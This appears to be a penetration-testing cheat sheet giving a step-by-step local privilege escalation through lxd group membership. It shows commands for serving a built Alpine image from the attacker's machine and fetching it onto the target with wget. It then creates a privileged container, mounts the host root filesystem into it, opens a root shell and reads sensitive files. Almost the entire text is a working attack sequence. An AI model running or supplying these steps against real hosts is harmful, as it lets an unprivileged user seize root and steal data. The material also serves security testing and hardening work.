Basic Flow

LXD is a container management extension for Linux Containers (LXC).

1. Check if You are in the Lxd Group

   If you belong to the Lxd group, you may be able to the root privileges.

   groups
   id

2. Check if Container Image Exists

   List all images and check if a container image already exists.

   lxc image list

   If there are not container, build a new image in your local machine.

   git clone  https://github.com/saghul/lxd-alpine-builder.git
   cd lxd-alpine-builder
   sudo ./build-alpine
   python3 -m http.server 8000

   In remote machine, download the “alpine-*.tar.gz” and import it.

   wget http://<local-ip>:8000/alpine-v3.17-x86_64-20221206_0615.tar.gz
   lxc image import ./alpine-v3.17-x86_64-20221206_0615.tar.gz --alias testimage
   lxc image list

   After that, create a new container from the image.

   lxc init testimage testcontainer -c security.privileged=true

   If you got the error “No storage pool found. Please create a new storage pool.”, initialize the lxd at first.

   lxd init
   # Set default values in prompt

   Then create a new container as above command.

3. Mount the New Container to Root Directory

   Now mount the host's / directory onto /mnt/root in the container you created.

   lxc config device add testcontainer testdevice disk source=/ path=/mnt/root recursive=true

4. Start the Container

   lxc start testcontainer

5. Get a Shell

   lxc exec testcontainer /bin/sh

   Check if you are root.

   whoami

6. Retrieve the Sensitive Information in the Mounted Directory

   cd /mnt/root/